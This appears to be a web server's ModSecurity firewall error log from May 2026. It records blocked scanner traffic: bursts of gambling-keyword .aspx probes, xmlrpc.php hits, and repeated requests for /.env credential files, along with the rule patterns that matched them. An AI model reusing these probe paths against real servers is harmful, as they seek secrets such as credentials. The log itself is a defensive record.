[Wed May 06 23:35:17.922590 2026] [:error] [pid 557:tid 559] [client 42.200.231.39:45646] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aftftTZjFR8Vd8ce80A3pQAAAkA"]
[Wed May 06 23:35:20.159487 2026] [:error] [pid 9789:tid 9813] [client 42.200.231.39:23725] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aftfuD_YStPJSCHPkUW11wAAAFY"]
[Wed May 06 23:35:22.667910 2026] [:error] [pid 13414:tid 13436] [client 42.200.231.39:51225] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aftfukuJQpWjVpJTu_kvbQAAARQ"]
[Wed May 06 23:35:25.053986 2026] [:error] [pid 482:tid 497] [client 42.200.231.39:52479] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aftfvcxs8HOc_nWgOW54agAAAc0"]
[Wed May 06 23:35:27.386818 2026] [:error] [pid 592:tid 609] [client 42.200.231.39:46307] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aftfv5iX28mb6xLi2Py8AQAAAo0"]
[Wed May 06 23:35:29.615634 2026] [:error] [pid 9789:tid 9792] [client 42.200.231.39:57894] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aftfwT_YStPJSCHPkUW13wAAAEE"]
[Wed May 06 23:35:32.670317 2026] [:error] [pid 13443:tid 13448] [client 42.200.231.39:48973] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aftfxACyfZallDmsQren9QAAAUM"]
[Wed May 06 23:35:34.973907 2026] [:error] [pid 63810:tid 63833] [client 42.200.231.39:65148] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aftfxnpnbsN9Zf6i5IFGJgAAAZM"]
[Wed May 06 23:35:37.111967 2026] [:error] [pid 13414:tid 13434] [client 42.200.231.39:50665] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aftfyUuJQpWjVpJTu_kvegAAARI"]
[Wed May 06 23:35:39.327813 2026] [:error] [pid 9653:tid 9716] [client 42.200.231.39:28232] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aftfy6hJ49Xc4dqq0B5C4QAAABI"]
[Wed May 06 23:35:41.606573 2026] [:error] [pid 9789:tid 9802] [client 42.200.231.39:13487] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aftfzT_YStPJSCHPkUW16AAAAEs"]
[Wed May 06 23:35:43.916837 2026] [:error] [pid 13414:tid 13426] [client 42.200.231.39:58141] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aftfz0uJQpWjVpJTu_kvgQAAAQo"]
[Wed May 06 23:35:46.256520 2026] [:error] [pid 9653:tid 9710] [client 42.200.231.39:50708] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aftf0qhJ49Xc4dqq0B5C6QAAAAw"]
[Wed May 06 23:35:48.605387 2026] [:error] [pid 9653:tid 9721] [client 42.200.231.39:39252] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aftf1KhJ49Xc4dqq0B5C8wAAABc"]
[Wed May 06 23:35:50.926863 2026] [:error] [pid 9653:tid 9699] [client 42.200.231.39:12454] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aftf1qhJ49Xc4dqq0B5C-QAAAAE"]
[Wed May 06 23:35:53.226830 2026] [:error] [pid 557:tid 561] [client 42.200.231.39:20041] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aftf2TZjFR8Vd8ce80A3pwAAAkI"]
[Wed May 06 23:35:55.715119 2026] [:error] [pid 482:tid 488] [client 42.200.231.39:60263] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aftf28xs8HOc_nWgOW54egAAAcQ"]
[Wed May 06 23:35:58.053935 2026] [:error] [pid 9789:tid 9812] [client 42.200.231.39:2043] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aftf3j_YStPJSCHPkUW18gAAAFU"]
[Wed May 06 23:36:22.172734 2026] [:error] [pid 9659:tid 9747] [client 42.200.231.39:15567] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aftf9vwJnWjd8JHpBtuk2wAAAM0"]
[Wed May 06 23:36:24.694875 2026] [:error] [pid 63810:tid 63819] [client 42.200.231.39:1351] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aftf-HpnbsN9Zf6i5IFGOgAAAYU"]
[Wed May 06 23:36:27.126146 2026] [:error] [pid 9653:tid 9708] [client 42.200.231.39:8088] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aftf-6hJ49Xc4dqq0B5DJwAAAAo"]
[Wed May 06 23:36:29.478084 2026] [:error] [pid 9653:tid 9718] [client 42.200.231.39:32326] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aftf_ahJ49Xc4dqq0B5DKgAAABQ"]
[Thu May 07 00:31:15.244700 2026] [:error] [pid 13414:tid 13435] [client 103.252.166.144:3239] [client 103.252.166.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.252.166.144, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afts00uJQpWjVpJTu_k1GwAAARM"]
[Thu May 07 00:31:15.252477 2026] [:error] [pid 9659:tid 9740] [client 103.252.166.144:3240] [client 103.252.166.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.252.166.144, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afts0_wJnWjd8JHpBtusaAAAAMY"]
[Thu May 07 00:37:02.540592 2026] [:error] [pid 9653:tid 9716] [client 167.88.166.164:65424] [client 167.88.166.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aftuLqhJ49Xc4dqq0B5a1wAAABI"]
[Thu May 07 00:37:10.248099 2026] [:error] [pid 557:tid 576] [client 167.88.166.164:49720] [client 167.88.166.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/core/.env"] [unique_id "aftuNjZjFR8Vd8ce80A76wAAAlE"]
[Thu May 07 00:37:14.286201 2026] [:error] [pid 9653:tid 9706] [client 167.88.166.164:50052] [client 167.88.166.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/.env"] [unique_id "aftuOqhJ49Xc4dqq0B5a3gAAAAg"]
[Thu May 07 00:37:18.489832 2026] [:error] [pid 592:tid 612] [client 167.88.166.164:50383] [client 167.88.166.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/assets/.env"] [unique_id "aftuPpiX28mb6xLi2PzB2wAAApA"]
[Thu May 07 00:37:22.420445 2026] [:error] [pid 482:tid 490] [client 167.88.166.164:50711] [client 167.88.166.164] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/storage/.env"] [unique_id "aftuQsxs8HOc_nWgOW6LMwAAAcY"]
[Thu May 07 02:30:31.144469 2026] [:error] [pid 9664:tid 9766] [client 43.160.219.206:60332] [client 43.160.219.206] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afuIxwH4OZbrg1SjsBOHsAAAAIQ"]
[Thu May 07 07:13:29.724566 2026] [:error] [pid 4539:tid 4542] [client 43.155.140.157:47748] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afvLGYPEZE1565sDGnxeJgAAAQE"]
[Thu May 07 08:21:25.044518 2026] [:error] [pid 4539:tid 4543] [client 43.153.12.58:53040] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afvbBYPEZE1565sDGnyGbgAAAQI"]
[Thu May 07 09:25:45.125953 2026] [:error] [pid 56065:tid 56115] [client 49.235.136.28:52580] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afvqGXdV4hYThdnhfxC5OQAAAJM"]
[Thu May 07 12:42:09.366305 2026] [:error] [pid 56065:tid 56108] [client 43.157.150.69:49306] [client 43.157.150.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afwYIXdV4hYThdnhfxDfnAAAAIw"]
[Thu May 07 13:54:55.527541 2026] [:error] [pid 56056:tid 56068] [client 43.167.245.18:44074] [client 43.167.245.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afwpLwMt_VAuBmZ2nR93swAAAUc"]
[Thu May 07 17:26:54.435285 2026] [:error] [pid 15629:tid 15642] [client 54.37.252.130:51460] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afxa3vrIJCALdUrO43ll7wAAAAk"]
[Thu May 07 17:26:56.903747 2026] [:error] [pid 15631:tid 15710] [client 54.37.252.130:38434] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afxa4HvP1GkPUuuLfqUilQAAANc"]
[Thu May 07 17:26:59.342398 2026] [:error] [pid 28098:tid 28100] [client 54.37.252.130:56164] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afxa48vhwfljlt8trSq1fAAAAEA"]
[Thu May 07 17:27:01.617543 2026] [:error] [pid 15629:tid 15640] [client 54.37.252.130:56176] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afxa5frIJCALdUrO43ll8QAAAAc"]
[Thu May 07 17:27:03.900762 2026] [:error] [pid 15630:tid 15668] [client 54.37.252.130:56180] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afxa53TithRAi4821quf5gAAAIg"]
[Thu May 07 17:27:06.215570 2026] [:error] [pid 15715:tid 15726] [client 54.37.252.130:56194] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afxa6iY4dZsLOttMkcd78wAAAQk"]
[Thu May 07 17:27:08.530526 2026] [:error] [pid 15715:tid 15735] [client 54.37.252.130:52560] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afxa7CY4dZsLOttMkcd79gAAAQ8"]
[Thu May 07 17:27:10.935953 2026] [:error] [pid 28098:tid 28104] [client 54.37.252.130:52576] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afxa7svhwfljlt8trSq1ggAAAEQ"]
[Thu May 07 17:27:13.363880 2026] [:error] [pid 15715:tid 15722] [client 54.37.252.130:52584] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afxa8SY4dZsLOttMkcd7-wAAAQU"]
[Thu May 07 17:27:15.673617 2026] [:error] [pid 15631:tid 15688] [client 54.37.252.130:52598] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afxa83vP1GkPUuuLfqUimgAAAME"]
[Thu May 07 17:27:17.949028 2026] [:error] [pid 15631:tid 15695] [client 54.37.252.130:34498] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afxa9XvP1GkPUuuLfqUinwAAAMg"]
[Thu May 07 17:27:20.376961 2026] [:error] [pid 15629:tid 15644] [client 54.37.252.130:34508] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afxa-PrIJCALdUrO43ll-QAAAAs"]
[Thu May 07 17:27:22.958507 2026] [:error] [pid 28098:tid 28114] [client 54.37.252.130:34510] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afxa-svhwfljlt8trSq1hwAAAE4"]
[Thu May 07 17:27:25.356075 2026] [:error] [pid 15715:tid 15724] [client 54.37.252.130:34520] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afxa_SY4dZsLOttMkcd8DAAAAQc"]
[Thu May 07 17:27:27.755690 2026] [:error] [pid 28098:tid 28122] [client 54.37.252.130:56688] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afxa_8vhwfljlt8trSq1iQAAAFY"]
[Thu May 07 17:27:30.147500 2026] [:error] [pid 28098:tid 28108] [client 54.37.252.130:56698] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afxbAsvhwfljlt8trSq1iwAAAEg"]
[Thu May 07 17:27:32.552021 2026] [:error] [pid 15631:tid 15688] [client 54.37.252.130:56708] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afxbBHvP1GkPUuuLfqUiowAAAME"]
[Thu May 07 17:27:34.961642 2026] [:error] [pid 28098:tid 28109] [client 54.37.252.130:56712] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afxbBsvhwfljlt8trSq1jQAAAEk"]
